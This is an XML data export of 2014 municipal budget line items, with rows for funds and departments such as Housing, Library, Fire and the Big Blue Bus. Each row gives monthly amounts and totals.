<row _id="9213"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>24000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24000.0</total></row>
<row _id="9214"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>401190.0</object><object_description>CDBG PR YR ALLOCATION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-500000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-500000.0</total></row>
<row _id="9215"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577760.0</object><object_description>CDBG REIMB-HOUSING &amp; ECON DEV</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>92000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>92000.0</total></row>
<row _id="9216"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401290.0</object><object_description>POLICE-MOVIE JOBS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-418200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-418200.0</total></row>
<row _id="9217"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17000.0</total></row>
<row _id="9218"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1300.0</total></row>
<row _id="9219"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="9220"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>233456.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>233456.0</total></row>
<row _id="9221"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5100.0</total></row>
<row _id="9222"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>126735.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>126735.0</total></row>
<row _id="9223"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2100.0</total></row>
<row _id="9224"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8075.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8075.0</total></row>
<row _id="9225"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>566470.0</object><object_description>TRAFFIC SIGNAL MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>120300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>120300.0</total></row>
<row _id="9226"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2522.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>20.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2542.0</total></row>
<row _id="9227"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2696360.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2696360.0</total></row>
<row _id="9228"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>816305.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>13123</december><january>15554.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>844982.0</total></row>
<row _id="9229"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>-11382.92</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11382.92</total></row>
<row _id="9230"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
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<row _id="9306"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="9307"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>577062.0</object><object_description>OTHER TRAFFIC EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="9308"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="9309"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4593.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4593.0</total></row>
<row _id="9310"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1046.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1046.0</total></row>
<row _id="9311"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>88736.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>88736.0</total></row>
<row _id="9312"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>42847.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42847.0</total></row>
<row _id="9313"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6652.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>14.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6666.0</total></row>
<row _id="9314"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2850.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2850.0</total></row>
<row _id="9315"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2755.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2755.0</total></row>
<row _id="9316"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>56025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>56025.0</total></row>
<row _id="9317"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11450.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11450.0</total></row>
<row _id="9318"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5890.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5890.0</total></row>
<row _id="9319"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5463.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5463.0</total></row>
<row _id="9320"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>577410.0</object><object_description>SITE IMPROVEMENTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8069.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8069.0</total></row>
<row _id="9321"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8615.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8615.0</total></row>
<row _id="9322"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="9323"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>10</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3710.0</total></row>
<row _id="9324"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="9325"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19479.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19479.0</total></row>
<row _id="9326"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25625.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25625.0</total></row>
<row _id="9327"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>57853.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>929.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58782.0</total></row>
<row _id="9328"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="9329"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>57657.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57657.0</total></row>
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<row _id="9379"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>143288.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>143288.0</total></row>
<row _id="9380"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>588050.0</object><object_description>FIRE SUPPRESSION EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>39729.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39729.0</total></row>
<row _id="9381"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555017.0</object><object_description>OUTSIDE REPAIRS - BUS EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1230.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1230.0</total></row>
<row _id="9382"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5125.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5125.0</total></row>
<row _id="9383"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
